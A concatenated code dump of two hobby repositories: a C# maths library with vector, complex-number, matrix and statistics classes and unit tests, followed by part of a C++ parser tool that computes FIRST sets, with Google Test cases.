public double x { get { return this.compositionVector.elements[0]; } set { this.compositionVector.elements[0] = value; } } public double y { get { return this.compositionVector.elements[1]; } set { this.compositionVector.elements[1] = value; } } public static Vector2D operator +(Vector2D vect1, Vector2D vect2) { return new Vector2D(vect1.compositionVector + vect2.compositionVector); } public static Vector2D operator -(Vector2D vect1, Vector2D vect2) { return new Vector2D(vect1.compositionVector - vect2.compositionVector); } public static Vector2D operator -(Vector2D vect1) { return new Vector2D(-vect1.compositionVector); } public static Vector2D operator *(double scalar, Vector2D vect) { Vector2D output = new Vector2D(scalar * vect.compositionVector); return output; } public static Vector2D operator *(Vector2D vect, double scalar) { Vector2D output = new Vector2D(scalar * vect.compositionVector); return output; } public static Vector2D operator /(Vector2D vect, double scalar) { Vector2D output = new Vector2D(vect.compositionVector / scalar); return output; } public static double operator *(Vector2D vect1, Vector2D vect2) { return vect1.compositionVector * vect2.compositionVector; } public double Mod { get { return this.compositionVector.Mod; } } public Vector2D UnitVector { get { return new Vector2D(this.compositionVector.UnitVector); } } //convert between coordinate systems public override string ToString() { return "{" + x.ToString() + ", " + y.ToString() + "}"; } } } <file_sep>/AE.AdvancedMaths/ComplexVector.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace AE.AdvancedMaths { public class ComplexVector { public int size; Complex[] elements; public ComplexVector(int size) { this.elements = new Complex[size]; } public ComplexVector(Complex[] elements) { this.elements = elements; } public static ComplexVector operator +(ComplexVector vect1, ComplexVector vect2) { ComplexVector output = new ComplexVector(vect1.size); for (int i = 0; i < vect1.size; i++) { output.elements[i] = vect1.elements[i] + vect2.elements[i]; } return output; } public static ComplexVector operator -(ComplexVector vect1, ComplexVector vect2) { ComplexVector output = new ComplexVector(vect1.size); for (int i = 0; i < vect1.size; i++) { output.elements[i] = vect1.elements[i] - vect2.elements[i]; } return output; } public static ComplexVector operator *(Complex scalar, ComplexVector vect) { ComplexVector output = new ComplexVector(vect.size); for (int i = 0; i < vect.size; i++) { output.elements[i] = scalar * vect.elements[i]; } return output; } public static ComplexVector operator *(ComplexVector vect, Complex scalar) { return scalar * vect; } public static ComplexVector operator /(ComplexVector vect, Complex scalar) { ComplexVector output = new ComplexVector(vect.size); for (int i = 0; i < vect.size; i++) { output.elements[i] = vect.elements[i] / scalar; } return output; } public static Complex operator *(ComplexVector vect1, ComplexVector vect2) { Complex output = new Complex(); for (int i = 0; i < vect1.size; i++) { output += vect1.elements[i] * vect2.elements[i]; } return output; } public ComplexVector Dagger(ComplexVector vect) { ComplexVector newVect = new ComplexVector(vect.size); for (int i = 0; i < vect.size; i++) { newVect.elements[i] = Complex.Conjugate(vect.elements[i]); } return newVect; } public double Mod(ComplexVector vect) { double mod; mod = (Dagger(vect) * vect).Re; return mod; } public ComplexVector Normalise(ComplexVector vect) { ComplexVector output = new ComplexVector(vect.size); for (int i = 0; i < vect.size; i++) { output.elements[i] = vect.elements[i] / (Complex)(Mod(vect)); } return output; } } } <file_sep>/AE.AdvancedMaths.Test/VectorsTests.cs using System; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace AE.AdvancedMaths.Test { [TestClass] public class VectorsTests { [TestMethod] public void VectAddTest() { Vector vect1, vect2; vect1 = new Vector (3); vect2 = new Vector (3); vect1.elements = new double[] { 1, 3, 2 }; vect2.elements = new double[] { 5, 1, 8 }; Vector output = vect1 + vect2; for (int i = 0; i < vect1.size; i++) { output.elements[i] = Math.Round(output.elements[i], 2); } Vector real = new Vector(3); real.elements = new double[] { 6, 4, 10 }; for (int i = 0; i < vect1.size; i++) { Assert.AreEqual(real.elements[i], output.elements[i]); } } [TestMethod] [ExpectedException(typeof(InvalidOperationException))] public void VectAdd_Throws_Exception_Different_Dimensions() { Vector vect1, vect2; vect1 = new Vector (4); vect2 = new Vector (3); vect1.elements = new double[]{ 1, 3, 2, 0}; vect2.elements = new double[] { 5, 1, 8}; Vector output = vect1 + vect2; } [TestMethod] public void VectSubTest() { Vector vect1, vect2; vect1 = new Vector (3); vect2 = new Vector (3); vect1.elements = new double[] { 1, 3, 2 }; vect2.elements = new double[] { 5, 1, 8 }; Vector output = vect1 - vect2; for (int i = 0; i < vect1.size; i++) { output.elements[i] = Math.Round(output.elements[i], 2); } Vector real = new Vector(3); real.elements = new double[] { -4, 2, -6 }; for (int i = 0; i < vect1.size; i++) { Assert.AreEqual(real.elements[i], output.elements[i]); } } [TestMethod] public void VectModTest() { Vector vect = new Vector(new double[]{ 3, 4}); Assert.AreEqual(vect.Mod, 5); } } } <file_sep>/AE.AdvancedMaths.Test/ComplexTest.cs using System; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace AE.AdvancedMaths.Test { [TestClass] public class ComplexTest { [TestMethod] public void MultTest1() { var c1 = new Complex { Re = 0, Im = 1 }; var c2 = new Complex { Re = 0, Im = 1 }; var actual = c1 * c2; var actualR = Math.Round(actual.Re, 2); var actualI = Math.Round(actual.Im, 2); Assert.AreEqual(0.00, actualI); Assert.AreEqual(-1.00, actualR); } [TestMethod] public void DivTest1() { var c1 = new Complex { Re = 2, Im = 1 }; var c2 = new Complex { Re = 1, Im = 1 }; var actual = c1 / c2; var actualR = Math.Round(actual.Re, 2); var actualI = Math.Round(actual.Im, 2); Assert.AreEqual(-0.5, actualI); Assert.AreEqual(1.5, actualR); } [TestMethod] public void AddTest1() { var c1 = new Complex { Re = 2, Im = 1 }; var c2 = new Complex { Re = 1, Im = 1 }; var actual = c1 + c2; var actualR = Math.Round(actual.Re, 2); var actualI = Math.Round(actual.Im, 2); Assert.AreEqual(2, actualI); Assert.AreEqual(3, actualR); } [TestMethod] public void SubTest1() { var c1 = new Complex { Re = 2, Im = 4 }; var c2 = new Complex { Re = 1, Im = 1 }; var actual = c1 - c2; var actualR = Math.Round(actual.Re, 2); var actualI = Math.Round(actual.Im, 2); Assert.AreEqual(3, actualI); Assert.AreEqual(1, actualR); } [TestMethod] public void PowerTest1() { var c1 = new Complex { Re = 0, Im = 1 }; var c2 = new Complex { Re = 0, Im = 1 }; var actual = c1 ^ c2; var actualR = Math.Round(actual.Re, 2); var actualI = Math.Round(actual.Im, 2); Assert.AreEqual(0.00, actualI); Assert.AreEqual(0.21, actualR); } } } <file_sep>/AE.AdvancedMaths/Statistics.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace AE.AdvancedMaths { public static class Statistics { public static int NcR(int n, int r) { int output = 1; if(r < n / 2) { r = n - r; } for (int i = r + 1; i < n + 1; i++) { output = output * i; } output = output / AdvancedMaths.Fact(n - r); return output; } public static double Bayes(double coincidenceProb, double evidenceProb, double evidenceGivenData) { return coincidenceProb * evidenceProb / evidenceGivenData; } public static int NpR(int n, int r) { int output = 1; for (int i = r + 1; i < n + 1; i++) { output = output * i; } return output; } public static double Binomial(int n, double p, int PositiveResults) { return NcR(n, PositiveResults) * Math.Pow(p, PositiveResults) * Math.Pow(1 - p, n - PositiveResults); } public static double BinomialCumulative(int n, double p, int PositiveResults) { double output = 0; if(PositiveResults < n / 2) { for(int i = 0; i < PositiveResults; i++) { output += Binomial(n, p, i); } } else { for (int i = PositiveResults + 1; i < n + 1; i++) { output += Binomial(n, p, i); } output = 1 - output; } return output; } public static double Poisson(int k, double lambda) { return Math.Pow(lambda, k) * Math.Exp(-lambda) / AdvancedMaths.LargeFact(k); } public static double GaussianNormalisedCumulative(double deviationsFromMean, double acceptableError) { double output = 0; double z = deviationsFromMean / Math.Sqrt(2); double maxError; int i = 0; do { maxError = (Math.Pow(-1, i) * Math.Pow(z, 2 * i + 1)) / (AdvancedMaths.Fact(i) * (2 * i + 1)); output += maxError; i++; } while (acceptableError < 2 * Math.Sqrt(Math.PI) * maxError); return output * 2 * Math.Sqrt(Math.PI); } public static double Gaussian(double deviationsFromMean) { return Math.Exp(-Math.Pow(deviationsFromMean, 2) / 2) / Math.Sqrt(2 * Math.PI); } public static double Median(List<double> data) { List<double> sortedData = data; sortedData.Sort(); int i = data.Count / 2; return sortedData.ElementAt(i); } public static double Skew(List<double> data) { return (data.Average() - Median(data)) / StandardDeviation(data); } public static double Sxx(List<double> data) { double sxx = 0; double average = data.Average(); foreach(double element in data) { sxx += Math.Pow(element - average, 2); } return sxx; } public static double StandardDeviation(List<double> data) { return Math.Sqrt(Sxx(data) / (data.Count - 1)); } public static double Sxy(List<double> XData, List<double> YData) { double averageX = XData.Average(); double averageY = YData.Average(); double sxy = 0; double elementY; int i = 0; foreach(double elementX in XData) { i++; elementY = YData.ElementAt(i); sxy += (elementX - averageX) * (elementY * averageY); } return sxy; } public static double Pearsons(List<double> XData, List<double> YData) { return (Sxy(XData, YData) / Math.Sqrt(Sxx(XData) * Sxx(YData))); } public static double[] LinearFit(List<double> XData, List<double> YData) { double slope = (Sxy(XData, YData) / Sxx(XData)); double intercept = YData.Average() - slope * XData.Average(); return new double[]{ slope, intercept}; } public static double ChiSquared(List<double> Data, List<double> ExpectedValues) { double output = 0; int i = 0; foreach(double element in Data) { i++; output += Math.Pow(element - ExpectedValues.ElementAt(i), 2); } return output; } public static double[,] FourierDataFitting(List<double> XData, List<double> YData, int funcs) { double[,] coeffs = new double[funcs, 2]; double[] xDataArr = XData.ToArray(); double[] yDataArr = YData.ToArray(); double length = XData.Last() - XData.First(); for (int i = 1; i < xDataArr.Length; i++) { coeffs[0, 0] += (xDataArr[i] - xDataArr[i - 1]) * (yDataArr[i] + yDataArr[i - 1]); } coeffs[0, 0] = coeffs[0, 0] / length; for (int i = 1; i < funcs + 1; i++) { for(int j = 1; j < xDataArr.Length; j++) { coeffs[i, 0] += (xDataArr[j] - xDataArr[j - 1]) * (yDataArr[j] * Math.Cos(2 * Math.PI * xDataArr[j] * i / length) + yDataArr[j - 1] * Math.Cos(2 * Math.PI * xDataArr[j - 1] * i / length)); coeffs[i, 1] += (xDataArr[j] - xDataArr[j - 1]) * (yDataArr[j] * Math.Sin(2 * Math.PI * xDataArr[j] * i / length) + yDataArr[j - 1] * Math.Sin(2 * Math.PI * xDataArr[j - 1] * i / length)); } coeffs[i, 0] = coeffs[i, 0] / length; coeffs[i, 1] = coeffs[i, 1] / length; } return coeffs; } public static double Entropy(double[] probabilities, double[] values) { ///<para>returns the entropy of a probablitiy mass distribution in bits</para> double expLogPmf = 0; for(int i = 0; i < probabilities.Length; i++) { expLogPmf -= values[i] * Math.Log(probabilities[i]); } return expLogPmf / Math.Log(2); } public static double ConditionalEntropy(double[] probabilities, double[] values) { double expLogPmf = 0; for (int i = 0; i < probabilities.Length; i++) { expLogPmf -= values[i] * Math.Log(probabilities[i]); } return expLogPmf; } } } <file_sep>/AE.AdvancedMaths/Vector.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace AE.AdvancedMaths { public class Vector { public int size; public double[] elements; public Vector(int size) { this.size = size; this.elements = new double[size]; } public Vector(double[] elements) { size = elements.Length; this.elements = elements; } public static Vector operator +(Vector vect1, Vector vect2) { if(vect1.size != vect2.size) { throw new InvalidOperationException("vectors are different dimensions"); } Vector output = new Vector (vect1.size); output.elements = new double[output.size]; for (int i = 0; i < vect1.size; i++) { output.elements[i] = vect1.elements[i] + vect2.elements[i]; } return output; } public static Vector operator -(Vector vect1, Vector vect2) { if (vect1.size != vect2.size) { throw new InvalidOperationException("vectors are different dimensions"); } Vector output = new Vector (vect1.size ); output.elements = new double[output.size]; for (int i = 0; i < vect1.size; i++) { output.elements[i] = vect1.elements[i] - vect2.elements[i]; } return output; } public static Vector operator -(Vector vect) { Vector output = new Vector(vect.size); output.elements = new double[output.size]; for (int i = 0; i < vect.size; i++) { output.elements[i] = -vect.elements[i]; } return output; } public static Vector operator *(double scalar, Vector vect) { Vector output = new Vector(vect.size); output.elements = new double[output.size]; for (int i = 0; i < vect.size; i++) { output.elements[i] = scalar * vect.elements[i]; } return output; } public static Vector operator *(Vector vect, double scalar) { return scalar * vect; } public static double operator *(Vector vect1, Vector vect2) { double output = 0; for (int i = 0; i < vect1.size; i++) { output += vect1.elements[i] * vect2.elements[i]; } return output; } public static Vector operator /(Vector vect, double scalar) { Vector output = new Vector(vect.size); for (int i = 0; i < vect.size; i++) { output.elements[i] = vect.elements[i] / scalar; } return output; } public double Mod { get { double mod = 0; for (int i = 0; i < size; i++) { mod += Math.Pow(elements[i], 2); } mod = Math.Sqrt(mod); return mod; } } public Vector UnitVector { get { Vector output = new Vector (size); for(int i = 0; i < size; i++) { output.elements[i] = elements[i] / Mod; } return output; } } public override string ToString() { string output = "{"; for(int i = 0; i < size; i++) { output += elements[i]; output += ", "; } output += "}"; return output; } public static Func<Vector, Vector> Grad(Func<Vector, double> field, double epsilon) { return v => { Vector v1 = new Vector(v.elements); Vector v2 = new Vector(v.elements); Vector v3 = new Vector(v.size); for (int i = 0; i < v.size; i++) { v1.elements[i] -= epsilon; v1.elements[i] += epsilon; v3.elements[i] = field(v2) - field(v1) / (2 * epsilon); } return v3; }; } public static Func<Vector, double> Divergence(Func<Vector, double> field, double epsilon) { return v => { Vector v1 = new Vector(v.elements); Vector v2 = new Vector(v.elements); double div = 0; for (int i = 0; i < v.size; i++) { v1.elements[i] -= epsilon; v1.elements[i] += epsilon; div += field(v2) - field(v1) / (2 * epsilon); } return div; }; } } } <file_sep>/AE.AdvancedMaths/AdvancedMaths.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace AE.AdvancedMaths { public static class AdvancedMaths { public static double[,] FourierSeries(Func<double, double> function, double start, double end, int coeffs, int precision) { double L = end - start; double[,] output = new double[coeffs, 2]; for(int i = 0; i < coeffs; i++) { Func<double, double> cosFunc = x => function(L * x / Math.PI) * Math.Sin(i * x); Func<double, double> sinFunc = x => function(L * x / Math.PI) * Math.Cos(i * x); output[i, 0] = Calculus.IntegrateSimpsons3(cosFunc, start, end, precision); output[i, 1] = Calculus.IntegrateSimpsons3(sinFunc, start, end, precision); } return output; } static Func<double, Complex> FourierTransform(Func<double, double> function, double start, double end, int increments) { Func<double, double > newFunc = x => function(x) * Math.Exp(2 * Math.PI * x); return k => Calculus.IntegrateSimpsons3(newFunc, start, end, increments) * Complex.Exp(k * new Complex(0, 1)); } public static int Fact(this int n) { if (n > 12) { throw new ArgumentException("n is too large"); } int factorial = 1; for (int i = 2; i < n + 1; i++) { factorial = factorial * i; } return factorial; } public static long LargeFact(this int n) { long factorial = 1; if (n > 20) { throw new ArgumentException("n is too large"); } for (int i = 2; i < n + 1; i++) { factorial = factorial * i; } return factorial; } public static double LnFactStirlings(this double n) { double output = n * Math.Log(n) - n + 0.5 * Math.Log(2 * Math.PI * n) + 1 / (12 * n) - 1 / (360 * Math.Pow(n, 3)) + 1 / (1260 * Math.Pow(n, 5)) - 1 / (1680 * Math.Pow(n, 7)); return (output); } public static double Gamma(this double n) { return Math.Exp((n - 1).LnFactStirlings()); } public static double Bisection(Func<double, double> f, double x0, double xEnd) { return 0; } } } <file_sep>/AE.AdvancedMaths/Complex.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace AE.AdvancedMaths { public class Complex { public Complex(double real, double imaginary) { this.Re = real; this.Im = imaginary; } public Complex() { this.Re = 0; this.Im = 0; } public static readonly Complex i = new Complex(0, 1); //properties public double Re, Im; private double[] ReIm { get { return new double[]{ Re, Im}; } set { Re = value[0]; Im = value[1]; } } private double[] ModArg { get { var pol = new double[2]; pol[0] = Math.Sqrt(ReIm[0] * ReIm[0] + ReIm[1] * ReIm[1]); if (ReIm[0] > 0) { pol[1] = Math.Atan(ReIm[1] / ReIm[0]); } else if (ReIm[0] < 0) { pol[1] = Math.PI / 2 - Math.Atan(ReIm[1] / ReIm[0]); } else { pol[1] = Math.PI / 2; } return pol; } set { Re = value[0] * Math.Cos(value[1]); Im = value[0] * Math.Sin(value[1]); } } public double Modulus { get { return ModArg[0]; } } public double Argument { get { return ModArg[1]; } } //casts public static explicit operator Complex(double x) { return new Complex(x, 0); } public static explicit operator Complex(float x) { return new Complex(x, 0); } public static explicit operator Complex(int x) { return new Complex(x, 0); } public static explicit operator Complex(long x) { return new Complex(x, 0); } public static explicit operator Complex(decimal x) { return new Complex((double)x, 0); } public static explicit operator double(Complex z) { if(Math.Abs(z.Im) > 0.000001) { throw new InvalidCastException("z cannot be cast to a double as it has a non-zero imaginary component"); } return z.Re; } //basic operations public static Complex operator *(Complex comp1, Complex comp2) { Complex output = new Complex(); output.ModArg = new double[] { comp1.ModArg[0] * comp2.ModArg[0], comp1.ModArg[1] + comp2.ModArg[1] }; return output; } public static Complex operator *(double real, Complex comp2) { Complex output = new Complex(); Complex comp1 = (Complex)real; output.ModArg = new double[] { comp1.ModArg[0] * comp2.ModArg[0], comp1.ModArg[1] + comp2.ModArg[1] }; return output; } public static Complex operator *(Complex comp1, double real) { Complex output = new Complex(); Complex comp2 = (Complex)real; output.ModArg = new double[] { comp1.ModArg[0] * comp2.ModArg[0], comp1.ModArg[1] + comp2.ModArg[1] }; return output; } public static Complex operator /(Complex comp1, Complex comp2) { if(comp2.Modulus == 0) { throw new DivideByZeroException(); } Complex output = new Complex(); output.ModArg = new double[] { comp1.ModArg[0] / comp2.ModArg[0], comp1.ModArg[1] - comp2.ModArg[1] }; return output; } public static Complex operator +(Complex comp1, Complex comp2) { Complex output = new Complex(); output.Re = comp1.ReIm[0] + comp2.ReIm[0]; output.Im = comp1.ReIm[1] + comp2.ReIm[1]; return output; } public static Complex operator -(Complex comp1, Complex comp2) { Complex output = new Complex(); output.Re = comp1.ReIm[0] - comp2.ReIm[0]; output.Im = comp1.ReIm[1] - comp2.ReIm[1]; return output; } static public Complex Conjugate(Complex comp) { return new Complex (comp.Re, -comp.Im ); } //powers static public Complex Exp(Complex comp) { Complex output = new Complex() { ModArg = new double[] { Math.Exp(comp.ReIm[0]), comp.ReIm[1] } }; return output; } static public Complex Ln(Complex comp) { Complex output = new Complex() { ReIm = new double[] { Math.Log(comp.ModArg[0]), comp.ModArg[1] } }; return output; } static public Complex operator ^(Complex comp1, Complex comp2) { Complex output = new Complex(); output = Ln(comp1); output = Exp(comp2 * output); return output; } //trigonometric functions public Complex Sin(Complex comp) { Complex output = new Complex(); output = (Exp(i * comp) - Exp((Complex)(-1) * i * comp)) / (Complex)2; return output; } public Complex Cos(Complex comp) { Complex output = new Complex(); Complex i = new Complex { ReIm = new double[] { 0, 1 } }; output = (Exp(i * comp) + Exp((Complex)(-1) * i * comp)) / (Complex)2; return output; } public Complex Tan(Complex comp) { Complex output = new Complex(); output = Sin(comp) / Cos(comp); return output; } //hyperbolic functions public Complex Sinh(Complex comp) { Complex output = new Complex(); output = (Exp(comp) - Exp((Complex)(-1) * comp)) / (Complex)2; return output; } public Complex Cosh(Complex comp) { Complex output = new Complex(); output = (Exp(comp) + Exp((Complex)(-1) * comp)) / (Complex)2; return output; } public Complex Tanh(Complex comp) { Complex output = new Complex(); output = Sinh(comp) / Cosh(comp); return output; } public override string ToString() { return $"{ReIm[0]} + {ReIm[1]}i (modulus = {ModArg[0]}, argument = {ModArg[1]})"; } } } <file_sep>/AE.AdvancedMaths/Matrix.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace AE.AdvancedMaths { public class Matrix { int width, height; double[,] elements; public Matrix(int width, int height) { this.width = width; this.height = height; this.elements = new double[width, height]; } public Matrix(double[,] elements) { this.elements = elements; this.width = elements.GetLength(0); this.height = elements.GetLength(1); } public static Matrix operator +(Matrix m1, Matrix m2) { double[,] elements = new double[m1.width, m1.height]; for(int i = 0; i < m1.width; i++) { for(int j = 0; j < m1.width; j++) { elements[i, j] = m1.elements[i, j] + m2.elements[i, j]; } } return new Matrix(elements); } public static Matrix operator -(Matrix m1, Matrix m2) { double[,] elements = new double[m1.width, m1.height]; for (int i = 0; i < m1.elements.GetLength(0); i++) { for (int j = 0; j < m1.width; j++) { elements[i, j] = m1.elements[i, j] - m2.elements[i, j]; } } return new Matrix(elements); } public static Matrix operator -(Matrix m) { double[,] elements = new double[m.width, m.height]; for (int i = 0; i < m.elements.GetLength(0); i++) { for (int j = 0; j < m.width; j++) { elements[i, j] = -m.elements[i, j]; } } return new Matrix(elements); } public static Matrix operator *(Matrix m1, Matrix m2) { if(m1.width != m2.width) { throw new InvalidOperationException("matrix dimensions do not match for multiplication"); } double[,] elements = new double[m1.height, m1.height]; //horizontal for (int i = 0; i < m1.width; i++) { //verticle for (int j = 0; j < m1.width; j++) { elements[i, j] = 0; for (int k = 0; k < m1.width; k++) { elements[i, j] += m1.elements[k, i] * m2.elements[j, k]; } } } return new Matrix(elements); } public static Vector operator *(Matrix m, Vector v) { if (m.width != v.size) { throw new InvalidOperationException("matrix width does not match vector height"); } double[] elements = new double[v.size]; //horizontal for (int i = 0; i < m.width; i++) { elements[i] = 0; //verticle for (int j = 0; j < m.width; j++) { elements[i] += m.elements[i, j] * v.elements[j]; } } return new Vector(elements); } public static Matrix operator *(Matrix m, double scalar) { double[,] elements = new double[m.width, m.height]; for (int i = 0; i < m.elements.GetLength(0); i++) { for (int j = 0; j < m.width; j++) { elements[i, j] = m.elements[i, j] * scalar; } } return new Matrix(elements); } public static Matrix operator /(Matrix m, double scalar) { double[,] elements = new double[m.width, m.height]; for (int i = 0; i < m.elements.GetLength(0); i++) { for (int j = 0; j < m.width; j++) { elements[i, j] = m.elements[i, j] / scalar; } } return new Matrix(elements); } public static Matrix Transpose(Matrix m) { double[,] elements = new double[m.height, m.width]; for(int i = 0; i < m.width; i++) { for(int j = 0; j < m.height; j++) { elements[j, i] = m.elements[i, j]; } } return new Matrix(elements); } //square matrix operations public static Matrix Identity(int dimensions) { double[,] elements = new double[dimensions, dimensions]; for(int i = 0; i < dimensions; i++) { elements[i, i] = 1; } return new Matrix(elements); } public static double Det(Matrix tempMet) { if(tempMet.width != tempMet.height) { throw new InvalidOperationException("matrix is not square"); } double det = 0; if (tempMet.width < 2) { return det; } if (tempMet.width == 2) { det = tempMet.elements[0, 0] * tempMet.elements[1, 1] - tempMet.elements[1, 0] * tempMet.elements[0, 1]; } else { for (int i = 0; i < tempMet.width; i++) { Matrix recursMet = new Matrix(tempMet.width - 1, tempMet.width - 1); int passRow = 0; for (int j = 0; j < recursMet.width; j++) { for (int k = 0; k < recursMet.width; k++) { if (k == i) { passRow = 1; } recursMet.elements[j, k] = tempMet.elements[j + 1, k + passRow]; } } det += tempMet.elements[0, i] * Det(recursMet) * Math.Pow(-1, i * tempMet.width + i); } } return det; } public static Matrix Inverse(Matrix tempMat) { if(tempMat.width != tempMat.height) { throw new InvalidOperationException("matrix is not square"); } Matrix inverseMat = new Matrix(tempMat.width, tempMat.width); double det = Det(inverseMat); for (int i = 0; i < tempMat.width; i++) { for (int j = 0; j < tempMat.width; j++) { int passRow = 0; int passColumn = 0; Matrix smallMat = new Matrix(inverseMat.width - 1, inverseMat.width - 1); for (int k = 0; k < smallMat.width; k++) { for (int l = 0; l < smallMat.width; l++) { if (k == i) { passRow = 1; } if (l == j) { passColumn = 1; } smallMat.elements[k, l] = tempMat.elements[k + passRow, l + passColumn]; } } inverseMat.elements[i, j] = Det(smallMat) * det; } } return tempMat; } public static Matrix operator /(Matrix m1, Matrix m2) { if (m1.width != m1.height || m2.width != m2.height || m1.width != m2.height) { throw new InvalidOperationException("matrix is not square or dimensions are not compatible"); } Matrix invMat = Matrix.Inverse(m2); return m1 * invMat; } public static Matrix operator ^(Matrix m1, int power) { if (power == 0) { return Matrix.Identity(m1.width); } if(power == 1) { return m1; } if(power > 1) { Matrix m1Squared = m1 * m1; double mult = m1Squared.elements[0, 0] / m1.elements[0, 0]; return m1 * Math.Pow(mult, power - 1); } return (Matrix.Inverse(m1) ^ -power); } private static double[] DetEigen(Matrix tempMet, Matrix lambdaMatrix) { //determinant is a polynomial with integer powers double[] det; if (tempMet.width == 2) { det = new double[3]; det[0] = tempMet.elements[0, 0] * tempMet.elements[1, 1] - tempMet.elements[1, 0] * tempMet.elements[0, 1]; det[1] = lambdaMatrix.elements[0, 0] * tempMet.elements[1, 1] + tempMet.elements[0, 0] * lambdaMatrix.elements[1, 1] - lambdaMatrix.elements[1, 0] * tempMet.elements[0, 1] - tempMet.elements[1, 0] * lambdaMatrix.elements[0, 1]; det[2] = lambdaMatrix.elements[0, 0] * lambdaMatrix.elements[1, 1] - lambdaMatrix.elements[1, 0] * lambdaMatrix.elements[0, 1]; } else { det = new double[tempMet.width + 1]; for (int i = 0; i < tempMet.width; i++) { Matrix recursMet = new Matrix(tempMet.width - 1, tempMet.width - 1); Matrix recursLambdaMatrix = new Matrix(tempMet.width - 1, tempMet.width - 1); int passRow = 0; for (int j = 0; j < recursMet.width; j++) { for (int k = 0; k < recursMet.width; k++) { if (k == i) { passRow = 1; } recursMet.elements[j, k] = tempMet.elements[j + 1, k + passRow]; recursLambdaMatrix.elements[j, k] = recursLambdaMatrix.elements[j + 1, k + passRow]; } } double[] recursDet = DetEigen(recursMet, recursLambdaMatrix); for(int j = 0; j < recursDet.Length; j++) { det[j] = tempMet.elements[0, i] * recursDet[j] * Math.Pow(-1, i * tempMet.width + i); det[j + 1] += recursLambdaMatrix.elements[0, i] * recursDet[j] * Math.Pow(-1, i * tempMet.width + i); } } } return det; } /*public static Dictionary<double, Vector> EigenDecomposition(Matrix m) { if(m.width != m.height) { throw new InvalidOperationException("matrix must b square to possess eigenVectors"); } else { double[] polynomialExpressions = DetEigen(m, -Matrix.Identity(m.width)); Func<double, double> polynomial = x => { double y = 0; for(int i = 0; i < polynomialExpressions.Length; i++) { y += polynomialExpressions[i] * Math.Pow(x, i); } return y; }; } }*/ //cast to complex matrix //eigen decomposition } }
db6ed10c278a7c859deaa3329f65a058473601ab
[ "C#" ]
13
C#
AlanEdmiston/AdvancedMaths
813d659fdc0aa3caa38768852c9a1bb83e0775f5
98f7d9c6779b0eae6cbff44c44c7e9dee12b6cb2
refs/heads/master
<repo_name>hyunjung-kim/compute-first-single-letter<file_sep>/README.md # Parser tools practice Simple Compute_FIRST() handling alphabetical terminal symbols. <file_sep>/parser-tools/ParserTools.h #pragma once #include <vector> #include <string> #include <unordered_map> namespace parsertools { class ProductionRule { public: explicit ProductionRule(char vn, std::string & rhs) : vn_(vn), rhs_(rhs), valid_(true) {} ~ProductionRule() {} char Vn() const; std::string Rhs(); bool IsValid() const; void Invalidate(); private: char vn_; std::string rhs_; bool valid_ = false; }; class ParserTools { public: explicit ParserTools() {} ~ParserTools() {} std::unordered_map<char, std::vector<char>> Compute_FIRST(std::vector<ProductionRule> & rules); // TODO: implement Compute_FOLLOW() std::vector<char> RingSum(std::vector<char> & lhs, std::vector<char> & rhs); std::vector<char> Union(std::vector<char> & lhs, std::vector<char> & rhs); private: bool IsEpsilon(char v); bool IsTerminalSymbol(char v); }; } <file_sep>/parser-tools-tests/ParserToolTests.cpp //#include "gtest\gtest.h" #include "gmock\gmock.h" #include "..\parser-tools\ParserTools.h" using namespace parsertools; using namespace ::testing; TEST(ParserToolsTests, RingSum) { ParserTools tools; std::vector<char> lhs1 = { 'a', 'b', 'c' }; std::vector<char> rhs1 = { 'c', 'd'}; auto ringSum1 = tools.RingSum(lhs1, rhs1); ASSERT_THAT(ringSum1, ContainerEq(std::vector<char>{'a', 'b', 'c'})); std::vector<char> lhs2 = { 'a', 'b', 'c', '#' }; std::vector<char> rhs2 = { 'c', 'd' }; auto ringSum2 = tools.RingSum(lhs2, rhs2); ASSERT_THAT(ringSum2, ContainerEq(std::vector<char>{'a', 'b', 'c', 'd'})); std::vector<char> lhs3 = { 'a', 'b', '#' }; std::vector<char> rhs3 = { 'c', 'd', '#' }; auto ringSum3 = tools.RingSum(lhs3, rhs3); ASSERT_THAT(ringSum3, ContainerEq(std::vector<char>{'#', 'a', 'b', 'c', 'd'})); } TEST(ParserToolsTests, Compute_FIRST_Ex1) { ProductionRule rule1('A', std::string("aB")); ProductionRule rule2('A', std::string("B")); ProductionRule rule3('B', std::string("bC")); ProductionRule rule4('B', std::string("C")); ProductionRule rule5('C', std::string("c")); std::vector<ProductionRule> rules; rules.push_back(rule1); rules.push_back(rule2); rules.push_back(rule3); rules.push_back(rule4); rules.push_back(rule5); ParserTools tools; auto ret = tools.Compute_FIRST(rules); ASSERT_THAT(ret['A'], ContainerEq(std::vector<char>{'a', 'b', 'c'})); ASSERT_THAT(ret['B'], ContainerEq(std::vector<char>{'b', 'c'})); ASSERT_THAT(ret['C'], ContainerEq(std::vector<char>{'c'})); } TEST(ParserToolsTests, Compute_FIRST_Ex2) { ProductionRule rule1('S', std::string("ABe")); ProductionRule rule2('A', std::string("dB")); ProductionRule rule3('A', std::string("aS")); ProductionRule rule4('A', std::string("c")); ProductionRule rule5('B', std::string("AS")); ProductionRule rule6('B', std::string("b")); std::vector<ProductionRule> rules; rules.push_back(rule1); rules.push_back(rule2); rules.push_back(rule3); rules.push_back(rule4); rules.push_back(rule5); rules.push_back(rule6); ParserTools tools; auto ret = tools.Compute_FIRST(rules); ASSERT_THAT(ret['S'], ContainerEq(std::vector<char>{'a', 'c', 'd'})); ASSERT_THAT(ret['A'], ContainerEq(std::vector<char>{'c', 'd', 'a'})); ASSERT_THAT(ret['B'], ContainerEq(std::vector<char>{'a', 'b', 'c', 'd'})); } TEST(ParserToolsTests, DISABLED_Compute_FIRST_SupportNonAlphabeticalSymbols) { // TODO: implement // Compute_FIRST() should support '(', ')' '+', '-', '/', '*' } TEST(ParserToolsTests, DISABLED_Compute_FIRST_SupportNonSingleTerminalSymbols) { // TODO: implement // Compute_FIRST() should support non single terminal symbols such as 'id' }<file_sep>/parser-tools/ParserTools.cpp #include "ParserTools.h" #include <unordered_map> #include <algorithm> #include <set> namespace parsertools { char ProductionRule::Vn() const { return vn_; } std::string 